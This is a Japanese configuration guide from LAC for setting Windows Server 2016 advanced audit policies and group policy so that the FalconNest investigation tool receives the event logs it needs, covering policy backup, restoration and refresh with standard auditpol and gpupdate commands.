# FalconNest 用監査ポリシー設定

# 参考資料

# (Windows Server 2016 環境向け)

当社は、本資料を十分注意し、確認した上で作成しておりますが、本資料の内容の最新性、正確性、安 全性を保証するものではありません。ご利用はお客様の責任において行っていただきますよう、あらかじめご了承 ください。本資料により、お客様に何らかの不都合や損害が発生したとしても、当社は何らの責任を負うもので はありません。

本資料で説明している手法、提供されるデータ等は、管理者の許可を得た環境で利用する事を想定して います。

管理者の許可を得ていない環境や、第三者の環境に対して直接または間接的にでも悪影響を及ぼす利 用方法は禁止します。

なお、本資料においては、文書の体裁上の都合により製品名の表記において商標登録表示、その他の商 標表示を省略している場合があります。

本資料に記載されている情報は、今後予告なく変更・更新される場合があります。

2021 年 06 月 10 日版 株式会社ラック

### 1 / 57

目次

1. はじめに	4
1.1. 設定項目 [監査ポリシーの詳細な構成] とグループポリシー	4
1.2. [ローカルグループポリシーエディター] の起動	4
1.3. [グループ ポリシー管理コンソール]から[グループ ポリシー 管理エディター]を起動4	4
2. 監査ポリシーのバックアップ	5
2.1. ドメイン環境における考慮事項	5
2.2. 有効な監査ポリシーを確認	5
2.3. 現在の監査ポリシーをバックアップ	7
2.4. 現在の GPO をバックアップ	7
3. [監査ポリシーの詳細な構成] 設定前の準備	9
3.1. 監査ポリシー サブカテゴリの設定を強制	9
3.2. 現在の監査ポリシーを [監査ポリシーの詳細な構成] に反映1	1
3.2.1. 現在の監査ポリシーをインポート用にバックアップ1	1
3.2.2. [監査ポリシーの詳細な構成] にインポート1	1
3.2.3. グループポリシーの優先順位12	2
4. FalconNest 用の設定を [監査ポリシーの詳細な構成] に反映	3
4.1. グループポリシーの設定14	4
4.2. アカウント ログオン1!	5
4.3. アカウントの管理16	6
4.4. 詳細追跡17	7
4.5. DS アクセス18	8
4.6. ログオン/ログオフ19	9
4.7. オブジェクト アクセス20	0
4.8. ポリシーの変更2	1
4.9. 特権の使用22	2
4.10. システム	3
4.11. グローバル オブジェクト アクセスの監査24	4
5. プロセス作成イベントにコマンド ライン含める(オプション)2!	5
6. グループポリシーの更新(反映)20	6
6.1. 更新間隔の設定	6
6.2. 強制的な更新20	6
6.3. 更新の確認20	6
7. イベントログの有効/無効27	7
7.1. FalconNest で必要となるイベントログの有効化22	7
7.2. イベント ビューアーを利用したログの有効化方法28	8

7.3.	wevtutil コマンドを利用したログの有効化	
8. イベン	ットログの最大サイズと削除ルール	
8.1.	イベント ビューアーによる設定	
8.2.	グループポリシーオブジェクトによる設定	
9. Pow	erShell ログの取得	35
9.1.	PowerShell モジュール ログ	
9.2.	PowerShell スクリプト ブロック	
9.3.	PowerShell トランスクリプション ログ	45
9.4.	PowerShell:保護されたイベントログを有効にする	
10. (	参考情報)Windows デフォルト設定をグループポリシーに反映	
10.1.	アカウント ログオン	50
10.2.	アカウントの管理	50
10.3.	詳細追跡	51
10.4.	DS アクセス	51
10.5.	ログオン/ログオフ	
10.6.	オブジェクト アクセス	
10.7.	ポリシーの変更	53
10.8.	特権の使用	53
10.9.	システム	54
10.10	. グローバル オブジェクト アクセスの監査	54
11. (	参考情報)監査設定一覧	55

1. はじめに

本手順では [監査ポリシーの詳細な構成] により Windows イベントログ [セキュリティ] に記録され る項目の設定とその他の Windows イベントログに関する設定方法を記載します。

1.1. 設定項目 [監査ポリシーの詳細な構成] とグループポリシー

設定項目 [監査ポリシーの詳細な構成] は、グループポリシー内にあります。個別のコンピュータでは、 [ローカルグループポリシーエディター] を用いて設定を編集できます。ドメインコントローラの場合には、 [グループ ポリシー管理コンソール] を用いると、ドメイン下のコンピュータの設定を編集できます。

1.2. [ローカルグループポリシーエディター] の起動

以下いずれかの方法で起動します。

- ・ コントロールパネルから「グループ ポリシーの編集」を選択する
- ・「ファイル名を指定して実行」ダイアログに「gpedit.msc」を入力して実行する
- 1.3. [グループ ポリシー管理コンソール] から [グループ ポリシー 管理エディター] を起動

ドメインコントローラから、以下いずれかの方法で起動します。

- ・ スタートメニューから「Windows 管理ツール」→「グループ ポリシーの管理」を選択する
- ・「ファイル名を指定して実行」ダイアログに「gpmc.msc」を入力して実行する

起動した [グループ ポリシー管理コンソール] の中から、適切なグループポリシーオブジェクト<sup>1</sup>を右クリッ クして [編集] を開くと、 [グループ ポリシー 管理エディター] が起動します。この中で、グループポリ シーを編集します。

<sup>&</sup>lt;sup>1</sup> デフォルトでは、グループポリシーオブジェクト(GPO)として、[Default Domain Controllers Policy]や[Default Domain Policy]が存在しており、[Default Domain Policy]を編集 するとドメイン全体にポリシーを設定できます。また、一定規模以上の組織の場合、組織単位(OU) ごとにグループポリシーオブジェクトが割り当てられていることがあります。

- 2. 監査ポリシーのバックアップ
- 2.1. ドメイン環境における考慮事項

Windows デフォルト設定の監査ポリシーは、OS の種類によって異なります。Microsoft 社の資料<sup>2</sup>に よれば、サーバ系の Windows とクライアント系の Windows でそれぞれ異なるデフォルト設定が存在しま す。

この為、ドメイン環境では以下の点を考慮することを推奨します。

- サーバとクライアントでそれぞれ、少なくとも1つの監査ポリシーのバックアップを取得してください。
   (後述「2.3 現在の監査ポリシーをバックアップ」)
- ② 設定変更を行うグループポリシーオブジェクト(GPO)のバックアップを取得してください。
   (後述「2.4 現在の GPO をバックアップ」)
- ③ コンピュータの役割ごとに適切な監査ポリシーを検討し、異なる監査ポリシーに対しては異なるグ ループポリシーオブジェクト(GPO)を用意してください。その上で、適切な OU に対して GPO をリ ンクしてください。
- 2.2. 有効な監査ポリシーを確認

有効になっている監査ポリシーを確認するには、サーバとクライアントそれぞれの環境で auditpol コマンド を使用します。管理者権限のコマンドプロンプトを開き、以下を実行すると、実行したコンピュータにおける監査設定が表示されます。("」"はスペースを意味しています)

auditpol\_/get\_/category:\*

<sup>&</sup>lt;sup>2</sup> Audit Policy Recommendations | Microsoft Docs <u>https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/sec</u> <u>urity-best-practices/audit-policy-recommendations</u>

<sup>© 2018-2021</sup> LAC Co., Ltd.



auditpol コマンドで表示される内容と、GPO やローカル コンピュータ ポリシーに表示される内容に差異がでる場合があります。差異の詳細はマイクロソフト社のサポート技術情報を参照してください。<sup>3</sup>

基本的には、auditpolコマンドの実行結果が、現在適用されている監査ポリシーとなります。

<sup>&</sup>lt;sup>3</sup> 監査ポリシーの設定と AuditPol コマンドの実行結果に差異が発生する https://support.microsoft.com/ja-jp/help/2855812

2.3. 現在の監査ポリシーをバックアップ

[注意事項]作業実施前に、監査ポリシーと後述する GPO のバックアップを作成してください。

現在の監査ポリシーをバックアップするには、auditpolコマンド<sup>4</sup>を使用します。

サーバとクライアントでそれぞれ管理者権限のコマンドプロンプトを開き、以下を実行すると、実行したコンピュータにおける監査設定が filename.csv として保存されます。("filename.csv"の部分はコン ピュータ名と日付を含めるなど、後から識別しやすい任意のファイル名を指定してください)

auditpol\_/backup\_/file:filename.csv

2.4. 現在の GPO をバックアップ

グループポリシーオブジェクト(GPO)をバックアップするには、管理者権限でグループポリシーの管理 ツール (gpmc.msc)を使用します。

バックアップ対象の「グループポリシーオブジェクト」を選択し、右クリックメニューから「すべてバックアップ」を 選択し、バックアップを実行します。

<u>s</u>	グルー	プ ポリシーの管	理		_	
🔜 ファイル(F) 操作(A) 表示(V) 🖞	ウィンドウ(W) ヘルプ(H)					_ & ×
🗢 🏟 🖄 📰 📋 🙆 🖬	]					
■ グループ ポリシーの管理		example.loc	alのグ	ルーブ ポリシ	ー オブジェクト	
△ ⑦ フォレスト: example.local		内容委任				
⊿ ∰ example.local		名前 🔺		GPO の状態	WMI フィルタ・	-
📲 🛒 Default Domain Pol	licy	🗐 Default 🛛	Domain	有効	なし	
Domain Controllers	5	📗 🧾 Default 🛛	Domain	有効	なし	
⊿ 📑 グループ ポリシー オブジ	<u>ד/)</u>		1			
🗐 Default Dor						
	すべてバックアップ(B)					
	バックアップの目注(M)	•				
▶ 🛱 サイト	移行テーブル エディターを	開<(O)				
おいープ ポリシーのモデルイ	表示(V)	Þ				
🔀 グループ ポリシーの結果	ここから新しいウィンドウ(V	V)				
	最新の情報に更新(F)					
	へ)レプ(H)					
			a			

図 2 GPO のバックアップ

### バックアップのリストア

バックアップした GPO をリストアする場合には、「グループポリシーオブジェクト」を選択し、「バックアップの 管理」を実行します。

バックアップされている GPO が表示されるので、リストアしたい GPO を選択し復元を実行します。

<u>s</u>		バックアップの管理	₽	
バックアップの場所( <u>O</u> ):				
C:¥GPO_Backup				✓ 参照( <u>B</u> )
GPO のバックアップ( <u>A</u> ):				
FX1> <b>^</b>	名前	タイム スタンプ	説明	GPO ID
example.local	Default Do	2018/07/19 8:18:37		{6AC1786C-01
example.local	Default Do	2018/07/19 8:18:40		{31B2F340-01
		図 3		

バックアップした監査ポリシーをリストアするには、auditpolコマンドを使用します。管理者権限のコマンドプロンプトを開き、バックアップしたそれぞれの環境で以下を実行するとリストアされます。

auditpol\_/restore\_/file:<バックアップファイル名.csv>

## audit.csv ファイル

下記フォルダ配下にaudit.csvファイルが存在すると、該当ファイルを削除しなければ監査設定が反映 されない場合があります。<sup>5</sup>

C:¥Windows¥SYSVOL¥sysvol¥<ドメイン名>¥Policies¥{GUID}¥MACHINE¥Microsoft¥Wind ows NT¥Audit

<sup>&</sup>lt;sup>5</sup> http://mctjp.com/2013/11/23/%E3%81%94%E3%81%BE%E3%81%8B%E3%81%97%E3%81% A0%E3%82%89%E3%81%91%E3%81%AEwindows-server-2012-r2-%E3%81%A7%E3%81%AE% E7%9B%A3%E6%9F%BB%E8%A8%AD%E5%AE%9A/

## 3. [監査ポリシーの詳細な構成] 設定前の準備

設定項目 [監査ポリシーの詳細な構成] を一部でも編集すると、編集した項目以外の監査ポリシー に影響が出る場合があります<sup>6</sup>。その結果、これまで監査できていた項目の設定が抜け落ち、ログに記録さ れなくなることがあります。また、 [ローカル ポリシー] → [監査ポリシー] に既存の設定がある場合、設 定の組み合わせによって予期しない監査結果となる場合があります。

これらを防ぐため、最初に以下の2点を実施する必要があります。

- ① 監査ポリシー サブカテゴリの設定を強制
- ② 現在の監査ポリシーを [監査ポリシーの詳細な構成] に反映
- 3.1. 監査ポリシー サブカテゴリの設定を強制

監査ポリシーを設定する箇所には、 [監査ポリシー] と [監査ポリシーの詳細な構成] の 2 つがある ことに関連して、Microsoft 社の説明は以下のようにあります。

『監査ポリシーの詳細な構成をサポートする Windows のエディション』下記 URL より引用 https://technet.microsoft.com/ja-jp/library/mt431900(v=vs.85).aspx

[ローカル ポリシー]、[監査ポリシー]の下の監査ポリシーの基本設定と、[監査ポリシーの詳細な構成]の監査ポリシーの詳細設定の両方を使うと、予期しない結果が監査レポートに記録される場合があります。したがって、この2つの監査ポリシーの設定は、組み合わせて使用しないでください。監査ポリシーの詳細な構成設定を使用する場合は、[ローカル ポリシー]/[セキュリティ オプション] で [監査: 監査ポリシー サブカテゴリの設定 (Windows Vista 以降)を強制して、監査ポリシー カテゴリの設定を上書きする] ポリシー設定を有効にする必要があります。これにより、類似した設定が競合しないように、基本的なセキュリティ監査が無視されます。

この指定に基づき、グループポリシー内 [コンピューターの構成] ⇒[ポリシー]⇒ [Windows の設定] ⇒ [セキュリティの設定] ⇒ [ローカル ポリシー] ⇒ [セキュリティ オプション] を開き、その中の [監 査: 監査ポリシー サブカテゴリの設定 (Windows Vista 以降) を強制して、監査ポリシー カテゴリの 設定を上書きする] 項目を有効にします。

<sup>&</sup>lt;sup>6</sup> <u>http://mctjp.com/2013/11/23/</u>

/ 」 グループ ポリシー管理エディター	-		×
ファイル(E) 操作(A) 表示(Y) ヘルプ(H) ◆●●   ▲ 〒 米 凾   2 匝	· · · · · · · · · · · · · · · · · · ·		
<ul> <li>☑ Default Domain Policy [AD.EXAMPLE.LOCAL] ポリシ ^</li> <li>▼ 2 ンピューターの構成     </li> <li>▼ ポリシー     </li> <li>&gt; ○ ソフトウェアの設定     <li>▼ Windows の設定     </li> <li>&gt; ○ 名前解決ポリシー     </li> <li>○ 2 クリブト (29 - Krwif)(Schruch Stripp)     </li> </li></ul>	ボリシー 同 回復コンソール: すべてのドライブとフォルダーに、フロッビーのコビーとアクセスを許可する 同 回復コンソール: 自動管理ログオンを許可する 岡 監査: グローバル システム オブジェクトへのアクセスを監査する 岡 監査: セキュリティ監査のログを記録できない場合は直ちにシステムをシャットダウンする 岡 監査: バックアップと復元の特権の使用を監査する	ポリシー設定 未定定義 未定定義 未定定義 未定定義 未定歳	^
<ul> <li>○ 展開されたプリンター</li> <li>&gt; ● 展開されたプリンター</li> <li>&gt; ■ アカウント ポリシー</li> <li>&gt; ■ アカウント ポリシー</li> <li>&gt; ■ 監査ポリシー</li> </ul>	<ul> <li>■ 監査ボリシー サブカテゴリの設定 (Windows Vista 以降)を強制して、監査ボリシー カテゴリ</li> <li>□ 対話型ログオン: Ctrl + Alt + Del を必要としない</li> <li>□ 対話型ログオン: workstation のロック解除にドメイン コントローラーの認証を必要とする</li> <li>□ 対話型ログオン: キャッシュする過去のログオン数 (ドメイン コントローラーが使用できない場合)</li> <li>□ 対話型ログオン: コンビューター アカウントのロックアウトのしきい値</li> </ul>	有効 未定義 未定義 未定義 未定義	
> 画 ユーワー権利の割り当て       > 画 セキュリティオブション       > 画 イベント ログ	<ul> <li>□ 対話型ログオン: コンビューターの非アクティブ状態の上限</li> <li>□ 対話型ログオン: スマート カードが必要</li> <li>□ 対話型ログオン: スマート カード取り出し時の動作</li> <li>□ 対話型ログオン: スマート カード取り出し時の動作</li> </ul>	未定義 未定義 未定義 <del>主定美</del>	~

図4:監査ポリシー サブカテゴリの設定を強制(設定を有効にした状態)

3.2. 現在の監査ポリシーを [監査ポリシーの詳細な構成] に反映

現在の監査ポリシーを [監査ポリシーの詳細な構成] に反映するには、一旦バックアップしてからイン ポートする方法が効率的です。(事前に検証環境などで確認してから、本作業を行ってください)

3.2.1. 現在の監査ポリシーをインポート用にバックアップ

現在の監査ポリシーをバックアップするには、auditpol コマンド<sup>7</sup>を使用します。管理者権限のコマンド プロンプトを開き、以下を実行すると、実行したコンピュータにおける監査設定がfilename.csvとして保 存されます。("filename.csv"の部分は識別しやすい任意のファイル名を指定してください)

auditpol\_/backup\_/file:filename.csv

3.2.2. [監査ポリシーの詳細な構成] にインポート

インポート対象のグループポリシー内で、 [コンピューターの構成] → [Windows の設定] → [セ キュリティの設定] → [監査ポリシーの詳細な構成] を開きます。 左ツリーペインの [監査ポリシー] を 右クリックし、 [設定をインポートする] メニューを選択してください。 メニュー選択後、3.2.1 節でバックアッ プした csv ファイルを指定してください。

ファイル(F) 操作(A) 表示(V) ヘルブ(H)         ◆ ● ● ● ■ ■         ● ● ● ● ■ ■         ● ● ● ● ● ■ ■         ● ● ● ● ● ■         ● ● ● ● ● ● ● ■         ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●	/ 」 グループ ポリシー管理エディター			-		×
<ul> <li>▲ ネットワークリストマネージャーボリへ</li> <li>※ コイヤレスネットワーク (IEE 802.)</li> <li>※ 公開キーのボリシー</li> <li>※ 公開キーのボリシー</li> <li>※ フガレクション制御ボリシー</li> <li>※ アガリケーション制御ボリシー</li> <li>※ Pアリケーション制御ボリシー</li> <li>※ B ビキュリティボリシー (Active D</li> <li>※ 監査ボリシーの詳細な構成) 設定を使用すると、監査ボリシーを細かく制御したり、ネットワープやリソースへの攻撃の試みまたは成功した攻撃を特定したり、</li> <li>部後したす</li> <li>※ 監査ボリシーの詳細な構成) 設定を使用すると、監査ボリシーを細かく制御したり、ネットワープやリソースへの攻撃の試みまたは成功した攻撃を特定したり、</li> <li>部後の運転なることができます。</li> <li>※ 監査ボリシーの詳細な構成) の設定を使用する場合、「ローカルボ トラーマセキュリティオブション"の「設置を使用する場合、「ローカルボ トラーマセキュリティオブション"の「設置を使用する場合、「ローカルボ トラーマセキュリティオブション"の「登置を使用する場合、「ローカルボ トラーマセキュリティオブション"の「登置を使用する場合、「ローカルボ トラーマセキュリティオブション"の「登置を使用する場合、「ローカルボ トラーマセキュリティオブション"の「登録を使用する」</li> <li>※ アカウン</li> <li>※ 「シーン(ルオブ)、「アクセス</li> <li>※ 「シーンマス</li> <li>※ 本構成</li> </ul>	ファイル(F) 操作(A) 表示(V) ヘルプ(H)					
<ul> <li>ネットワークリストマネージャーボリへ</li> <li>ゴワイヤレスネットワーク (IEE 802.)</li> <li>公開キーのボリシー</li> <li>ンヨンリンークク (IEE 802.)</li> <li>公開キーのボリシー</li> <li>ソフトウェアの制限のボリシー</li> <li>アプリケーション制御ボリシー</li> <li>アプリケーション制御ボリシー</li> <li>アプリケーション制御ボリシー</li> <li>ションオンボートする</li> <li>ショアカワン</li> <li>ションクチャー・</li> <li>ションクチャー・</li> <li>ションクチャー・</li> <li>ションクト</li> <li>ハレル</li> <li>ションクト</li> <li>ションクト<td>🗢 🔿 🚾 🖬 🖬</td><td></td><td></td><td></td><td></td><td></td></li></ul>	🗢 🔿 🚾 🖬 🖬					
<ul> <li>&gt; 論 オブジェクト アクセス</li> <li>&gt; 論 ポリシーの変更</li> <li>&gt; 論 特権の使用</li> <li>&gt; 論 ジステム</li> <li>&gt; かステム</li> <li>&gt; がローパル オブジェクト アクセオ</li> <li>オ グローパル オブジェクト アクセオ</li> <li>ホ ポリシー ペースの QoS</li> <li>✓ DS アクセス</li> <li>ス ポーム</li> </ul>		ビュー     ジェー     ジェー	3構成1 設定を使用すると、監査 ースへの攻撃の試みまたは成功 管理を規定する規則に準拠して ーの詳細な構成1の設定を使用 リティオプション <sup>で</sup> の 2監査 監言 www.Vsta 1以除う強制して、数 きする"ポリシー設定も有効であ 或 成 <u>なサポ</u>	5ポリシーをき した攻撃を いることを する場合、" すずパリシーー る必要があり	田かく制御し 寺定したり、 読習することが 「ローカル」ボ ブカテゴリの カテゴリの ります。	r.
< >    ログオン/ログオフ 未構成 ~	<ul> <li>&gt; 論 オブジェクトアクセス</li> <li>&gt; 論 オリシーの変更</li> <li>&gt; 論 特権の使用</li> <li>&gt; 論 システム</li> <li>&gt; 論 グローバルオブジェクトアクt</li> <li>・ ポリシー ペースの QoS </li> </ul>	設定の要約 カテゴリ アカウント ログオン アカウントの管理 詳細追跡 DS アクセス ログオン/ログオフ	構成 未構成 未構成 未構成 未構成 未構成			~

図 5:設定項目 [監査ポリシーの詳細な構成] (Windows Server 2016)

## 3.2.3. グループポリシーの優先順位

グループポリシーの適用には優先順位があり、下記順で適用が行われます。

- ① Local policy settings
- ② Site policy settings
- ③ Domain policy settings
- ④ OU policy settings

本資料では、③ Domain policy settings を想定した設定となっています。適用順序の詳細については、下記マイクロソフト社の資料を参照してください。

Step-by-Step Guide to Managing Multiple Local Group Policy Objects <u>https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vis</u> <u>ta/cc766291(v=ws.10)</u>

## 4. FalconNest 用の設定を [監査ポリシーの詳細な構成] に反映

LAC FalconNest(LI)で必要となるイベントを取得するための [監査ポリシーの詳細な構成] 設定は、次に示す表のとおりです。(デフォルトについては、「(参考情報)Windows デフォルト設定をグループポリシーに反映」を参照してください)

NO	設定項目	既定值 <sup>8</sup>	FalconNest 利用項目
1	アカウント ログオン⇒Kerberos 認証サービスの監査	成功	成功および失敗
2	アカウント ログオン⇒Kerberos サービス チケット操作の監査	成功	成功および失敗
3	「詳細追跡⇒プロセス作成の監査	監査なし	成功
4	DS アクセス⇒ディレクトリ サービス アクセスの監査	成功	成功および失敗
5	ログオン/ログオフ⇒ログオンの監査	成功および失敗	成功および失敗
6	ログオン/ログオフ⇒特殊なログオンの監査	成功	成功
7	オブジェクト アクセス⇒その他のオブジェクト アクセス イベントの監査	監査なし	成功
8	ポリシーの変更⇒監査ポリシーの変更の監査	成功	成功
9	システム⇒セキュリティ システムの拡張の監査	監査なし	成功

表 1 FalconNest が利用する監査項目

実際に設定する際は、Windows デフォルト設定も確認しながら、各項目を監査するかどうか、イベントログサイズが十分確保されているか、などを事前に十分検討・検証してから設定してください。

上記は FalconNest の利用項目を想定した設定であり、FalconNest が対象としていない項目についても別途監査を検討する必要があります。

例では、ファイル共有へのアクセスを取得していません。管理共有へのアクセスを追跡する必要がある場合であれば、「詳細なファイル共有の監査」の利用を検討する必要があります。

他にも、「ログオン/ログオフ⇒その他のログオン/ログオフ イベントの監査」を有効にすることで、イベント ID 4800『ワークステーションがロックされました。』、ID 4801『ワークステーションのロックが解除されまし た。』など、ユーザー操作を追跡する上で必要な監査項目も検討する必要があります。

<sup>&</sup>lt;sup>8</sup> Windows Server 2016 のドメインコントローラ上で auditpol /backup コマンドを実行し、取得し た結果を Default Domain Policy ヘインポートした状態。

4.1. グループポリシーの設定

グループ ポリシー管理エディターから『コンピュータの構成⇒ポリシー⇒Windows の設定⇒セキュリティの設定⇒監査ポリシーの詳細な構成⇒監査ポリシー』を参照します。

以降の手順では、例として Windows Server 2016 環境におけるデフォルトのグループポリシー 「Default Domain Policy」を利用した設定を示しています。

<u>属</u> グループ ポリシーの管理			
I IIIIIIIIIIIIIIIIIIIIIIIIIIIIIII			_ 8 ×
<table-cell-rows> 🔶 📶 🖻 🗎 🗙 🔍 🖬</table-cell-rows>			
<ul> <li>ダルーブポリシーの管理</li> <li>▲ フォレスト: example.local</li> <li>※ ドメイン</li> <li>※ Pefault Domain Policy</li> <li>&gt; Domain Controllers</li> <li>&gt; ⑦ グルーブポリシー オブジェクト</li> <li>Default Domain Controllers</li> <li>&gt; ⑦ グルーブポリシー オブジェクト</li> <li>Default Domain Policy</li> <li>&gt; ② Default Domain Policy</li> <li>&gt; ③ Default Domain Policy</li> <li>&gt; ③ Ag-g-GPO</li> <li>&gt; ④ サイト</li> <li>※ グルーブポリシーのモデル作成</li> <li>※ グルーブポリシーの結果</li> </ul>	Default Domain Policy           スコープ 詳細 設定 委任 状態           リンク           表示するリンクの場所(山):           変のサイト、ドメイン、および OU がこの GPO に見           場所           mile example.local           く           セキュリティ フィルター処理           この GPO での設定は、次のグループ、ユーザーお           名前           編 Authenticated Users           く	example.local リンクされています 強制 いいえ よびコンピューター	<ul> <li>(①:</li> <li>リンクの有効化 はい</li> <li>にのみ適用されます</li> </ul>
	2点 カロノワン 当川県全ノワン		าํ⊓เํริ⊋⊿เอง

図 6 「グループポリシーの管理」画面

ここで示す設定は、Windows Server 2016 のデフォルトで監査している項目についても含んでいます。<sup>9</sup>

auditpol」/backupコマンドで作成したCSVファイルをインポートした場合、「未構成」だった項目は「監査なし」となります。「監査なし」を設定した場合、GPO適用の優先順位によっては該当項目のイベントが取得されなくなる点に注意してください。

最終的にポリシーの適用を受けるシステム上で auditpol コマンドを実行し、必要な監査項目が有効 になっているか必ず確認してください。

<sup>&</sup>lt;sup>9</sup> Windows Server 2016 のドメインコントローラ上で auditpol /backup コマンドを実行し、取得した結果を Default Domain Policy ヘインポートした状態。

## 4.2. アカウント ログオン

アカウント ログオン⇒Kerberos 認証サービスの監査⇒成功および失敗 アカウント ログオン⇒Kerberos サービス チケット操作の監査⇒成功および失敗



図 7: [アカウント ログオン] の設定

## 4.3. アカウントの管理

FalconNest 用の設定項目はありません。



図 8: [アカウントの管理]の設定

### 4.4. 詳細追跡

詳細追跡⇒プロセス作成の監査⇒成功



図9: [詳細追跡]の設定

#### 4.5. DS アクセス

DS アクセス⇒ディレクトリ サービス アクセスの監査⇒成功および失敗



図 10: [DS アクセス] の設定

4.6. ログオン/ログオフ

# ログオン/ログオフ⇒ログオンの監査⇒成功および失敗

ログオン/ログオフ⇒特殊なログオンの監査⇒成功

<ul> <li>■ クルーフ ホリシー 宮理エディター</li> <li>ファイル(E) 操作(A) 表示(Y) ヘルプ(H)</li> <li></li></ul>			- L X
<ul> <li> <ul> <li></li></ul></li></ul>	د الالالالالالالالالالالالالالالالالالال	サブカテゴリ	監査イベント 成功 未構成 未構構成 未構構成 成功 があよび失敗 成功および失敗 未構成 成功

図 11: [ログオン/ログオフ] の設定

## 4.7. オブジェクト アクセス

オブジェクト アクセス⇒その他のオブジェクト アクセス イベントの監査⇒成功

∬ グループ ポリシー管理エディター		-	- 🗆	×
ファイル( <u>F)</u> 操作( <u>A</u> ) 表示( <u>V</u> ) ヘルプ( <u>H</u> )				
<table-cell-rows> 🔿 🗾 📑 🔒</table-cell-rows>				
<ul> <li> <ul> <li></li></ul></li></ul>	•	サブカテゴリ	監 未未未未未未未未未成未未未未 査 檣檣檣檣檣檣檣檣砌檣檣檣檣 石 成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成	`

図 12: [オブジェクト アクセス] の設定

「オブジェクト アクセス」の監査を有効にした場合、多くのイベントが記録されます。

FalconNest では利用していませんが、「フィルタリング プラットフォームの接続の監査」と「カーネルオブ ジェクトの監査」については、監査を有効にすると大量のイベントが記録される場合があります。 4.8. ポリシーの変更

ポリシーの変更⇒監査ポリシーの変更の監査⇒成功



図 13 [ポリシーの変更] の設定

## 4.9. 特権の使用

FalconNest 用の設定項目はありません。



図 14: [特権の使用]の設定

4.10.システム

システム⇒セキュリティシステムの拡張の監査⇒成功



図 15: [システム] の設定

4.11.グローバル オブジェクト アクセスの監査

FalconNest 用の設定項目はありません。



図 16 [グローバル オブジェクト アクセスの監査] の設定

5. プロセス作成イベントにコマンド ライン含める (オプション)

FalconNest ではイベント ID 4688 のコマンドラインオプションを利用していません。

この項目設定は、オプションとなります。調査上の理由などで、コマンドラインオプションを確認する必要 がある場合に設定します。

イベント ID:4688 の記録にプロセスコマンドラインを含めるには、 [管理用テンプレート] → [システム] → [プロセス作成の監査] → [プロセス作成イベントにコマンド ラインを含める] 項目を有効にします。 この項目を有効にする事で、イベント ID 4688 にコマンドライン<sup>10</sup>が記録されるようになります。

## [注意事項]

[プロセス作成イベントにコマンド ラインを含める] を有効にした場合、引数に含まれるパスワード文 字列など秘密にすべき情報がイベントログ(セキュリティ)へ記録される事になります。

セキュリティログを参照できる権限を持つユーザーは、イベントログのレコード内容から、パスワードなどの 機密情報を知る事ができる事になる点については十分注意する必要があります。

JJ グループ ポリシー管理エディター			-	
ファイル(E) 操作(A) 表示(V) ヘルプ(E)				
• 🔿 🙍 📷 🔒 📓 📷 🛛 🐨				
Default Domain Policy [AD.EXAMPLE.LOCAL] ポリシー	∧ □ プロセス作成の聖音			
・ 🛃 コンピューターの構成	Takatha takat kaanatta 195	29	14.09	TUNE
~ III ポリシー	ノロセス作成1ハントにコマントラ 取り		いた思い	JVAL
> 📫 ソフトウェアの設定	172800	ロセス作成イベントにコマントラインを含める	11.90	UUX
> 🙆 Windows の設定	ポリシー設定の編集 ^			
※    管理用テンプレート: ローカル コンピューターから取得した	7			
> 🧾 Windows コンボーネント	必要条件:			
> 📫 コントロール パネル	Windows Server 2012 R2、			
サーバー	Windows 8.1, Windows RT			
- 📫 システム	8.1 またはそれ以降			
> 🧰 App-V	AM 700			
Device Guard	祝明: スのギリシュ かゆえけ ミリンプ			
> 📫 iSCSI	ロセアの作成時にセキュリティン			
iii KDC	音イベントのログに記録する情			
Kerberos	報を決定します。			
> 🛄 Net Logon				
> III Windows タイム サービス	この設定は、プロセス作成の監			
Windows ファイル保護	査ポリシーが有効な場合にのみ			
アクセス拒否アシスタンス	適用されます。このポリシー設定			
> 🧰 インターネット通信の管理	を有効にした場合、このボリシー			
> 🧰 グループ ホリシー	設定が適用されているソージス			
サーバーマネージャー	リージョンドリーハーでは、音ノロ			
システムの復元	ロセス作成の歌春イベント			
シャットダウン	4688 "新しいプロセスの作成"			
シャットダウン オブション	の一部としてテキスト形式でセ			
ニ スクリプト	キュリティイベントログに記録さ			
ディスク NV キャッシュ	れます。			
ディスク ウォータ				
> 🧰 デバイス リタイレクト	このボリシー設定を無効にした			
> 🚞 デバイスのインストール	場合、または構成しなかった場			
ドライバーのインストール	合、ノロセスのコマントライン情報はプロセス作用の歌声くかい			
トラステッド ブラットフォーム モジュール サービス	戦はノロビATFROの監査1ハノ トに会主的主任人			
> 🤷 トラフルシューティングと診断	110 0 01 00 0700			
> 📫 ファイル システム	野定·未橿成			
ファイル共有シャドウ コピー プロバイター				
ファイル分類インフラストラクチャ	注:このポリシー設定を有効にし			
フォルター リダイレクト	た場合、セキュリティイベントの			
□ プロセス作成の監査	読み取りアクセス権を持つユー			
📫 ユーザー プロファイル	ザーは、正常に作成されたプロ			
🧰 リムーバブル記憶域へのアクセス	↓ セスのコマンド ライン引数を読み			
	> \拡張 〈標準 /			

図 17: [プロセス作成イベントにコマンド ラインを含める] 設定項目(有効にした状態)

## 6. グループポリシーの更新(反映)

#### 6.1. 更新間隔の設定

ドメインに参加したコンピュータは、コンピュータの起動時にはグループポリシーオブジェクト内 [コンピュー タの構成] を、ユーザのログオン時にはグループポリシーオブジェクト内 [ユーザーの構成] を、それぞれド メインコントローラから読み込みます<sup>11</sup>。その後は、デフォルト設定では 60 分~120 分おき<sup>12</sup>にドメインコン トローラと通信し、新しいグループポリシーオブジェクトを読み込みます。

更新間隔を調整したい場合は、グループポリシーオブジェクト内 [コンピューターの構成] → [管理用 テンプレート] → [システム] → [グループポリシー] の設定項目 [コンピューターのグループポリシー更 新間隔を設定する] および [ドメインコントローラーのグループポリシー更新間隔を設定する] を構成して ください。

6.2. 強制的な更新

更新間隔に関係なく、グループポリシーを強制的に更新する必要がある場合は、ドメインに参加したコンピュータで下記コマンドを実行します。

gpupdate\_/force

6.3. 更新の確認

ドメインに参加したコンピュータのイベントログ Microsoft-Windows-GroupPolicy/Operational を 確認すると、グループポリシーの更新状況を確認できます。

<sup>&</sup>lt;sup>11</sup>ただし、高速ログオンが有効になっていると、起動時やログオン時には読み込まれないことがあります。 <u>https://support.microsoft.com/ja-jp/help/305293/description-of-the-wind</u> <u>ows-fast-logon-optimization-feature</u>

<sup>12</sup> ドメインコントローラの場合、デフォルト設定は 5 分おきです。

